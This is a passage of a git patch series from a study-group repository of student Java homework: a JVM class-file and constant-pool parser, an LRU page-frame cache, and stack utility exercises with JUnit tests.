+    	ConstantPool constantPool = new ConstantPool();
+    	
+    	constantPool.addConstantInfo(new NullConstantInfo());
+    	
+		int constantNumber = iter.nextU2ToInt();//常量池项的个数
+		
+		for(int i = 1;i <= constantNumber - 1;i++){
+			
+			int type = iter.nextU1ToInt();
+			
+			if(type == 1){
+				//UTF8Info
+				int length = iter.nextU2ToInt();
+				byte[] bytes = iter.getBytes(length);
+				String value = "";
+				try {
+					value = new String(bytes,"UTF-8");
+				} catch (UnsupportedEncodingException e) {
+					e.printStackTrace();
+				}
+				UTF8Info utf8Info = new UTF8Info(constantPool);
+				utf8Info.setLength(length);
+				utf8Info.setValue(value);
+				
+				constantPool.addConstantInfo(utf8Info);
+			}else if(type == 7){
+				//ClassInfo
+				int utf8Index = iter.nextU2ToInt();
+				ClassInfo classInfo = new ClassInfo(constantPool);
+				classInfo.setUtf8Index(utf8Index);
+				
+				constantPool.addConstantInfo(classInfo);
+			}else if(type == 8){
+				//StringInfo
+				int index = iter.nextU2ToInt();
+				StringInfo stringInfo = new StringInfo(constantPool);
+				stringInfo.setIndex(index);
+				
+				constantPool.addConstantInfo(stringInfo);
+			}else if(type == 9){
+				//FieldRefInfo
+				int classInfoIndex = iter.nextU2ToInt();
+				int nameAndTypeIndex = iter.nextU2ToInt();
+				FieldRefInfo fieldRefInfo = new FieldRefInfo(constantPool);
+				fieldRefInfo.setClassInfoIndex(classInfoIndex);
+				fieldRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
+				
+				constantPool.addConstantInfo(fieldRefInfo);
+			}else if(type == 10){
+				//MethodRefInfo
+				int classInfoIndex = iter.nextU2ToInt();	
+				int nameAndTypeIndex = iter.nextU2ToInt();
+				MethodRefInfo methodRefInfo = new MethodRefInfo(constantPool);
+				methodRefInfo.setClassInfoIndex(classInfoIndex);
+				methodRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
+				
+				constantPool.addConstantInfo(methodRefInfo);
+			}else if(type == 12){
+				//NameAndTypeInfo
+				int nameIndex = iter.nextU2ToInt();
+				int descriptorIndex = iter.nextU2ToInt();
+				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(constantPool);
+				nameAndTypeInfo.setIndex1(nameIndex);
+				nameAndTypeInfo.setIndex2(descriptorIndex);
+				
+				constantPool.addConstantInfo(nameAndTypeInfo);
+			}else{
+				//
+				throw new RuntimeException("该常量项还未实现！！！");
+			}
+		}
+		
+		return constantPool;
+	}
+    
+}

From 5b1c92b1c55a06ac443d4ec0acae0d602e284550 Mon Sep 17 00:00:00 2001
From: vegetableDogBai <bdl1994@163.com>
Date: Sun, 9 Apr 2017 13:04:15 +0800
Subject: [PATCH 054/262] =?UTF-8?q?=E7=AC=AC=E4=BA=94=E5=91=A8=E6=95=B0?=
 =?UTF-8?q?=E6=8D=AE=E7=BB=93=E6=9E=84=E4=BD=9C=E4=B8=9A=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../jvm/loader/ClassFileLoader.java           |  81 +++++++++++
 .../jvm/test/ClassFileloaderTest.java         |  92 ++++++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 ++++
 .../563253496/week4_lru/src/LRUPageFrame.java | 135 ++++++++++++++++++
 .../week4_lru/src/LRUPageFrameTest.java       |  34 +++++
 .../week5_stack/src/stack/Stack.java          |  63 ++++++++
 .../week5_stack/src/stack/StackUtil.java      | 129 +++++++++++++++++
 .../week5_stack/src/test/StackUtilTest.java   |  95 ++++++++++++
 8 files changed, 657 insertions(+)
 create mode 100644 group23/563253496/week4_jvm1/src/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group23/563253496/week4_jvm1/src/com/coderising/jvm/test/ClassFileloaderTest.java
 create mode 100644 group23/563253496/week4_jvm1/src/com/coderising/jvm/test/EmployeeV1.java
 create mode 100644 group23/563253496/week4_lru/src/LRUPageFrame.java
 create mode 100644 group23/563253496/week4_lru/src/LRUPageFrameTest.java
 create mode 100644 group23/563253496/week5_stack/src/stack/Stack.java
 create mode 100644 group23/563253496/week5_stack/src/stack/StackUtil.java
 create mode 100644 group23/563253496/week5_stack/src/test/StackUtilTest.java

diff --git a/group23/563253496/week4_jvm1/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/563253496/week4_jvm1/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..5f56b80bff
--- /dev/null
+++ b/group23/563253496/week4_jvm1/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,81 @@
+package com.coderising.jvm.loader;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+
+public class ClassFileLoader {
+
+    private List<String> clzPaths = new ArrayList<String>();
+
+    public byte[] readBinaryCode(String className) {
+        String path = getClassFilePath(className);
+        if (path != null) {
+            try {
+                BufferedInputStream bis = new BufferedInputStream(new FileInputStream(path));
+                int count = bis.available();
+                byte[] content = new byte[count];
+                int len = bis.read(content,0,count);
+                return content;
+            } catch (FileNotFoundException e) {
+                e.printStackTrace();
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+        }
+        return null;
+
+
+    }
+
+    private byte[] loadClassFile(String clzFileName) {
+
+        return null;
+    }
+
+
+    public void addClassPath(String path) {
+        clzPaths.add(path);
+    }
+
+    public String getClassPath_V1() {
+
+        return null;
+    }
+
+    public String getClassPath() {
+        StringBuilder sb = new StringBuilder();
+        for (String s : clzPaths) {
+            sb.append(s);
+            sb.append(";");
+        }
+        sb.deleteCharAt(sb.length() - 1);
+        return sb.toString();
+    }
+
+    private String getClassFilePath(String className) {
+        StringBuilder sb = new StringBuilder();
+        for (String path : clzPaths
+                ) {
+            sb.append(path);
+            sb.append("\\");
+            char[] classname = className.toCharArray();
+            for (int i = 0; i < classname.length; i++) {
+                if (classname[i] == '.') {
+                    sb.append("\\");
+
+                } else {
+                    sb.append(classname[i]);
+                }
+            }
+            sb.append(".class");
+            String classpath = sb.toString();
+            File file = new File(classpath);
+            if (file.exists()) {
+                return classpath;
+            }
+        }
+        return null;
+    }
+}
diff --git a/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..1e00b5f2f5
--- /dev/null
+++ b/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,92 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	static String path1 = "D:\\mygit\\coding2017\\group23\\563253496\\week5_jvm\\out\\production\\untitled";
+	static String path2 = "C:\\temp";
+	
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+    
+    
+    
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+}
diff --git a/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/EmployeeV1.java b/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group23/563253496/week4_lru/src/LRUPageFrame.java b/group23/563253496/week4_lru/src/LRUPageFrame.java
new file mode 100644
index 0000000000..d7d7aebf10
--- /dev/null
+++ b/group23/563253496/week4_lru/src/LRUPageFrame.java
@@ -0,0 +1,135 @@
+/**
+ * Created by bdl19 on 2017/3/29.
+ */
+public class LRUPageFrame {
+
+    private static class Node {
+
+        Node prev;
+        Node next;
+        int pageNum;
+
+        Node() {
+        }
+    }
+
+    private int capacity;
+
+
+    private Node first;// 链表头
+    private Node last;// 链表尾
+
+
+    public LRUPageFrame(int capacity) {
+
+        this.capacity = capacity;
+        initialize();
+        //count = 0;
+    }
+
+    /**
+     * 获取缓存中对象
+     *
+     * @param
+     * @return
+     */
+    public void access(int pageNum) {
+        int index = checkPageNum(pageNum);
+        if (index < 0) {
+            addNewNode(pageNum);
+        } else {
+            moveNode(index);
+        }
+
+    }
+
+    private void moveNode(int index) {
+        Node temp = first;
+        if (index == capacity - 1) {
+            Node node = last;
+            last = last.prev;
+            node.prev.next = null;
+
+            node.prev = null;
+            node.next = first;
+
+
+            first.prev = node;
+            first = node;
+            return;
+        }
+
+        if (index == 0) {
+            return;
+        }
+
+        for (int i = 0; i < index; i++) {
+            temp = temp.next;
+        }
+
+        temp.prev.next = temp.next;
+        temp.next.prev = temp.prev;
+        temp.next = first;
+        temp.prev = null;
+        first.prev = temp;
+        first = temp;
+    }
+
+    private void addNewNode(int pageNum) {
+        Node node = new Node();
+        first.prev = node;
+        node.next = first;
+        first.prev = node;
+        node.pageNum = pageNum;
+        first = node;
+        last = last.prev;
+        last.next = null;
+    }
+
+
+    private int checkPageNum(int num) {
+        Node node = first;
+        int index = 0;
+        while (node != null) {
+            if (node.pageNum == num) {
+                return index;
+            }
+            index++;
+            node = node.next;
+        }
+        return -1;
+    }
+
+
+    private void initialize() {
+        if (capacity <= 0) {
+            throw new IndexOutOfBoundsException();
+        }
+        Node node = new Node();
+        first = node;
+        last = node;
+        for (int i = 0; i < capacity - 1; i++) {
+            Node n = new Node();
+            Node temp = last;
+            last.next = n;
+            last = n;
+            last.prev = temp;
+        }
+    }
+
+
+    public String toString() {
+        StringBuilder buffer = new StringBuilder();
+        Node node = first;
+        while (node != null) {
+            buffer.append(node.pageNum);
+
+            node = node.next;
+            if (node != null) {
+                buffer.append(",");
+            }
+        }
+        return buffer.toString();
+    }
+
+}
diff --git a/group23/563253496/week4_lru/src/LRUPageFrameTest.java b/group23/563253496/week4_lru/src/LRUPageFrameTest.java
new file mode 100644
index 0000000000..41e3727e34
--- /dev/null
+++ b/group23/563253496/week4_lru/src/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+import org.junit.Test;
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Assert;
+/**
+* LRUPageFrame Tester.
+*
+* @author <Authors name>
+* @since <pre>���� 29, 2017</pre>
+* @version 1.0
+*/ public class LRUPageFrameTest {
+
+    @Test
+    public void testAccess() {
+        LRUPageFrame frame = new LRUPageFrame(3);
+        frame.access(7);
+        frame.access(0);
+        frame.access(1);
+        Assert.assertEquals("1,0,7", frame.toString());
+        frame.access(2);
+        Assert.assertEquals("2,1,0", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("0,2,1", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("0,2,1", frame.toString());
+        frame.access(3);
+        Assert.assertEquals("3,0,2", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("0,3,2", frame.toString());
+        frame.access(4);
+        Assert.assertEquals("4,0,3", frame.toString());
+    }
+
+}
diff --git a/group23/563253496/week5_stack/src/stack/Stack.java b/group23/563253496/week5_stack/src/stack/Stack.java
new file mode 100644
index 0000000000..3065476c3f
--- /dev/null
+++ b/group23/563253496/week5_stack/src/stack/Stack.java
@@ -0,0 +1,63 @@
+package stack;
+
+import java.util.ArrayList;
+
+/**
+ * Created by bdl19 on 2017/4/8.
+ */
+public class Stack {
+    private int count;
+    private ArrayList elementData;
+
+    public Stack() {
+        this.count = 0;
+        elementData = new ArrayList();
+    }
+
+    public void push(Object o) {
+        count++;
+        elementData.add(o);
+
+    }
+
+    public Object pop() {
+        count--;
+        Object o = elementData.get(count);
+        elementData.remove(count);
+        return o;
+    }
+
+    public Object peek() {
+
+        return elementData.get(count-1);
+    }
+
+    public boolean isEmpty() {
+        if (count == 0) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    public int size() {
+        return count;
+    }
+
+    public String toString(){
+        StringBuilder sb = new StringBuilder();
+        Stack s = new Stack();
+        while(!this.isEmpty()){
+            sb.append(this.peek().toString());
+            sb.append(",");
+            s.push(this.pop());
+        }
+        while(!s.isEmpty()){
+            this.push(s.pop());
+        }
+
+//       sb.deleteCharAt(sb.length()-1);
+        return sb.toString();
+    }
+}
+
diff --git a/group23/563253496/week5_stack/src/stack/StackUtil.java b/group23/563253496/week5_stack/src/stack/StackUtil.java
new file mode 100644
index 0000000000..f94434c17b
--- /dev/null
+++ b/group23/563253496/week5_stack/src/stack/StackUtil.java
@@ -0,0 +1,129 @@
+package stack;
+
+import stack.Stack;
+
+/**
+ * Created by bdl19 on 2017/4/8.
+ */
+
+public class StackUtil {
+
+
+    public static void main(String[] args) {
+        Stack s = new Stack();
+        for (int i = 1; i <=5 ; i++) {
+            s.push(i);
+        }
+        System.out.println(s);
+        reverse(s);
+        System.out.println(s);
+    }
+    /**
+     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     */
+    public static void reverse(Stack s) {
+        Stack temp = new Stack();
+        while (!s.isEmpty()) {
+            temp.push(s.pop());
+        }
+        //System.out.println(temp);
+        s = temp;
+
+    }
+
+    /**
+     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param o
+     */
+    public static void remove(Stack s, Object o) {
+        Stack temp = new Stack();
+        Object obj;
+        while (!s.isEmpty()) {
+            obj = s.pop();
+            if (obj.equals(o)) {
+                break;
+            }
+            temp.push(obj);
+        }
+        while (!temp.isEmpty()) {
+            s.push(temp.pop());
+        }
+
+    }
+
+    /**
+     * 从栈顶取得len个元素, 原来的栈中元素保持不变
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param len
+     * @return
+     */
+    public static Object[] getTop(Stack s, int len) {
+        if (len > s.size()) {
+            throw new IndexOutOfBoundsException();
+        }
+        Object[] o = new Object[len];
+        Stack temp = new Stack();
+
+        for (int i = 0; i < len; i++) {
+            o[i] = s.peek();
+            temp.push(s.pop());
+
+        }
+        while (!temp.isEmpty()) {
+            s.push(temp.pop());
+        }
+        return o;
+
+    }
+
+
+    /**
+     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+     * 使用堆栈检查字符串s中的括号是不是成对出现的。
+     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+     *
+     * @param s
+     * @return
+     */
+    public static boolean isValidPairs(String s) {
+        char[] chars = s.toCharArray();
+        Stack stack = new Stack();
+
+        for (int i = 0; i < chars.length; i++) {
+            switch (chars[i]) {
+                case '(':
+                    stack.push('(');
+                    break;
+                case '[':
+                    stack.push('[');
+                    break;
+                case '{':
+                    stack.push('{');
+                    break;
+                case ')':
+                    if (!stack.pop().equals('(')) {
+                        return false;
+                    }
+                    break;
+                case ']':
+                    if (!stack.pop().equals('[')) {
+                        return false;
+                    }
+                    break;
+                case '}':
+                    if (!stack.pop().equals('{')) {
+                        return false;
+                    }
+                    break;
+            }
+        }
+
+        return true;
+    }
+
+
+}
diff --git a/group23/563253496/week5_stack/src/test/StackUtilTest.java b/group23/563253496/week5_stack/src/test/StackUtilTest.java
new file mode 100644
index 0000000000..fc1e727103
--- /dev/null
+++ b/group23/563253496/week5_stack/src/test/StackUtilTest.java
@@ -0,0 +1,95 @@
+package test;
+
+import junit.framework.Assert;
+import org.junit.Test;
+import org.junit.Before; 
+import org.junit.After;
+
+import stack.Stack;
+import stack.StackUtil;
+
+import static com.sun.xml.internal.ws.dump.LoggingDumpTube.Position.After;
+import static com.sun.xml.internal.ws.dump.LoggingDumpTube.Position.Before;
+
+/** 
+* stack.StackUtil Tester.
+* 
+* @author <Authors name> 
+* @since <pre>���� 8, 2017</pre> 
+* @version 1.0 
+*/ 
+public class StackUtilTest { 
+
+@Before
+public void before() throws Exception { 
+} 
+
+@After
+public void after() throws Exception { 
+} 
+
+/** 
+* 
+* Method: reverse(stack.Stack s)
+* 
+*/ 
+@Test
+public void testReverse() throws Exception { 
+//TODO: Test goes here...
+    Stack s = new Stack();
+    for (int i = 1; i <=5 ; i++) {
+        s.push(i);
+    }
+    Assert.assertEquals("5,4,3,2,1,",s.toString());
+    StackUtil.reverse(s);
+
+    Assert.assertEquals("1,2,3,4,5,",s.toString());
+} 
+
+/** 
+* 
+* Method: remove(stack.Stack s, Object o)
+* 
+*/ 
+@Test
+public void testRemove() throws Exception {
+    Stack s = new Stack();
+    for (int i = 1; i <=5 ; i++) {
+        s.push(i);
+    }
+    Assert.assertEquals("5,4,3,2,1,",s.toString());
+    StackUtil.remove(s,1);
+
+    Assert.assertEquals("5,4,3,2,",s.toString());
+//TODO: Test goes here... 
+} 
+
+/** 
+* 
+* Method: getTop(stack.Stack s, int len)
+* 
+*/ 
+@Test
+public void testGetTop() throws Exception { 
+//TODO: Test goes here... 
+} 
+
+/** 
+* 
+* Method: isValidPairs(String s) 
+* 
+*/ 
+@Test
+public void testIsValidPairs() throws Exception {
+//TODO: Test goes here...
+    String  s = "([e{d}f])";
+    boolean b = StackUtil.isValidPairs(s);
+    Assert.assertEquals(true,b);
+    s = "([b{x]y})";
+    b = StackUtil.isValidPairs(s);
+    Assert.assertEquals(false,b);
+
+} 
+
+
+} 

From 469e3ddae55a564403bcd1aff6bdcddeeba99d72 Mon Sep 17 00:00:00 2001
From: Administrator <Administrator@win-10>
Date: Sun, 9 Apr 2017 13:32:47 +0800
Subject: [PATCH 055/262] add StackUtil

---
 .../one/src/org/coding/five/StackUtil.java    | 126 ++++++++++++++++++
 .../test/org/coding/five/StackUtilTest.java   |  78 +++++++++++
 2 files changed, 204 insertions(+)
 create mode 100644 group04/498654356/one/src/org/coding/five/StackUtil.java
 create mode 100644 group04/498654356/one/test/org/coding/five/StackUtilTest.java

diff --git a/group04/498654356/one/src/org/coding/five/StackUtil.java b/group04/498654356/one/src/org/coding/five/StackUtil.java
new file mode 100644
index 0000000000..0d9526139e
--- /dev/null
+++ b/group04/498654356/one/src/org/coding/five/StackUtil.java
@@ -0,0 +1,126 @@
+package org.coding.five;
+
+import java.util.Arrays;
+
+import org.coding.one.Stack;
+
+public class StackUtil {
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		if(isEmpty(s)) {
+			return;
+		}
+		Stack temp = new Stack();
+		reversePush(s, temp);
+		Stack temp2 = new Stack();
+		reversePush(temp, temp2);
+		reversePush(temp2, s);
+	}
+
+	private static boolean isEmpty(Stack s) {
+		return s == null || s.isEmpty();
+	}
+
+	private static void reversePush(Stack source, Stack dest) {
+		while(!source.isEmpty()) {
+			dest.push(source.pop());
+		}
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		if(isEmpty(s) || o == null) {
+			return;
+		}
+		Stack temp = new Stack();
+		while(!s.isEmpty()) {
+			Object dest = s.pop();
+			if(!o.equals(dest)) {
+				temp.push(dest);
+			}
+		}
+		reversePush(temp, s);
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		if(isEmpty(s) || len < 1) {
+			return null;
+		}
+		Object[] result = new Object[len];
+		int count = 0;
+		Stack temp = new Stack();
+		while(!s.isEmpty() && count < len) {
+			Object v = s.pop();
+			result[count] = v;
+			temp.push(v);
+			count++;
+		}
+		reversePush(temp, s);
+		return Arrays.copyOf(result, count);
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		if(s== null || s.isEmpty()) {
+			return false;
+		}
+		char a = '(';
+		char b = '[';
+		char c = '{';
+		char a2 = ')';
+		char b2 = ']';
+		char c2 = '}';
+		Stack stack = new Stack();
+		for(int i = 0, length = s.length(); i < length; i++) {
+			char charAt = s.charAt(i);
+			if(charAt == a) {
+				stack.push(a);
+			} else if(charAt == b){
+				stack.push(b);
+			} else if(charAt == c){
+				stack.push(c);
+			} else if(charAt == a2){
+				if(!isEqualStackTopValue(a, stack)) {
+					return false;
+				}
+			} else if(charAt == b2){
+				if(!isEqualStackTopValue(b, stack)) {
+					return false;
+				}
+			} else if(charAt == c2){
+				if(!isEqualStackTopValue(c, stack)) {
+					return false;
+				}
+			}
+		}
+		
+		return true;
+	}
+
+	private static boolean isEqualStackTopValue(char a2, Stack stack) {
+		return (char) stack.pop() == a2;
+	}
+	
+	
+}
diff --git a/group04/498654356/one/test/org/coding/five/StackUtilTest.java b/group04/498654356/one/test/org/coding/five/StackUtilTest.java
new file mode 100644
index 0000000000..bab59b8690
--- /dev/null
+++ b/group04/498654356/one/test/org/coding/five/StackUtilTest.java
@@ -0,0 +1,78 @@
+package org.coding.five;
+
+import static org.junit.Assert.fail;
+
+import org.coding.one.Stack;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class StackUtilTest {
+	Stack s ;
+	
+	@Before
+	public void setUp() throws Exception {
+		s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+	}
+
+	@After
+	public void tearDown() throws Exception {
+		s = null;
+	}
+
+	@Test
+	public void testReverse() {
+		StackUtil.reverse(s);
+		Assert.assertEquals(5, s.size());
+		Assert.assertEquals(1, s.pop());
+		Assert.assertEquals(2, s.pop());
+		Assert.assertEquals(3, s.pop());
+		Assert.assertEquals(4, s.pop());
+		Assert.assertEquals(5, s.pop());
+	}
+
+	@Test
+	public void testRemove() {
+		StackUtil.remove(s, 1);
+		Assert.assertEquals(4, s.size());
+		Assert.assertEquals(5, s.pop());
+		Assert.assertEquals(4, s.pop());
+		Assert.assertEquals(3, s.pop());
+		Assert.assertEquals(2, s.pop());
+		Assert.assertEquals(0, s.size());
+	}
+
+	@Test
+	public void testGetTop() {
+		Object[] top = StackUtil.getTop(s, 2);
+		Assert.assertEquals(5, top[0]);
+		Assert.assertEquals(4, top[1]);
+		
+		Assert.assertEquals(5, s.size());
+		Assert.assertEquals(5, s.pop());
+		Assert.assertEquals(4, s.pop());
+		Assert.assertEquals(3, s.pop());
+		Assert.assertEquals(2, s.pop());
+		Assert.assertEquals(1, s.pop());
+		Assert.assertEquals(0, s.size());
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		String s = "([e{d}f])";
+		boolean v = StackUtil.isValidPairs(s);
+		Assert.assertEquals(true, v);
+		s = "([b{x]y})";
+		v = StackUtil.isValidPairs(s);
+		Assert.assertEquals(false, v);
+		
+	}
+
+}

From 1b6cdec138d42ed173fd7159ad077aac1c14ee4d Mon Sep 17 00:00:00 2001
From: '1299310140' <'13437282785@163.com'>
Date: Sun, 9 Apr 2017 14:53:58 +0800
Subject: [PATCH 056/262] StackUtil

---
 .../src/com/coding/basic/stack/StackUtil.java | 123 ++++++++++++++++++
 1 file changed, 123 insertions(+)
 create mode 100644 group04/1299310140/src/com/coding/basic/stack/StackUtil.java

diff --git a/group04/1299310140/src/com/coding/basic/stack/StackUtil.java b/group04/1299310140/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..d4809b98bc
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,123 @@
+package com.coding.basic.stack;
+
+public class StackUtil {
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		if(s == null){
+			return;
+		}
+		
+		Stack reverseOne = new Stack();
+		while(!s.isEmpty()){
+			reverseOne.push(s.pop());
+		}
+		
+		Stack reverseTwo = new Stack();
+		while(!reverseOne.isEmpty()){
+			reverseTwo.push(reverseOne.pop());
+		}
+		
+		while(!reverseTwo.isEmpty()){
+			s.push(reverseTwo.pop());
+		}
+		
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		if(s == null){
+			return;
+		}
+		
+		Stack temp = new Stack();
+		Object top = null;
+		while(!s.isEmpty()){
+			top = s.pop();
+			if(top.equals(o)){
+				break;
+			}
+			temp.push(top);
+		}
+		
+		while(!temp.isEmpty()){
+			s.push(temp.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {//len>s的size,null填充
+		if(s == null || len <= 0){
+			return null;
+		}
+		
+		Object[] result = new Object[len];
+		int i = 0;
+		for(i = 0;i < len;i++){
+			if(s.isEmpty()){
+				break;
+			}
+			result[i] = s.pop();
+		}
+		
+		for(int j = i - 1;j >= 0;j--){
+			s.push(result[j]);
+		}
+		return result;
+	}
+	
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		if(s == null){
+			return true;
+		}
+		
+		char[] sc = s.toCharArray();
+		Stack scStack = new Stack();
+		for(int i = 0;i < sc.length;i++){
+			scStack.push(sc[i]);
+		}
+	    
+		Stack temp = new Stack();
+		while(!scStack.isEmpty()){
+			char scStackTop = (char)scStack.pop();
+			if(scStackTop == ')' || scStackTop == ']' || scStackTop == '}'){
+				temp.push(scStackTop);
+				continue;
+			}
+			
+			if(scStackTop == '(' || scStackTop == '[' || scStackTop == '{'){
+				if(temp.isEmpty()){
+					return false;
+				}
+				char tempTop = (char)temp.pop();
+				if((scStackTop + 1 == tempTop) || (scStackTop + 2 == tempTop)){
+					continue;
+				}else{
+					return false;
+				}
+			}
+		}
+		return true;
+	}
+	
+}

From eb2e3f735c60a111669b737377659ab08ff50913 Mon Sep 17 00:00:00 2001
From: kai <kaideguo@gmail.com>
Date: Sun, 9 Apr 2017 20:03:34 +0800
Subject: [PATCH 057/262] =?UTF-8?q?=E7=AC=AC=E4=BA=94=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group06/1378560653/.classpath                 |   3 +
 group06/1378560653/article.txt                |   3 +-
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 +++
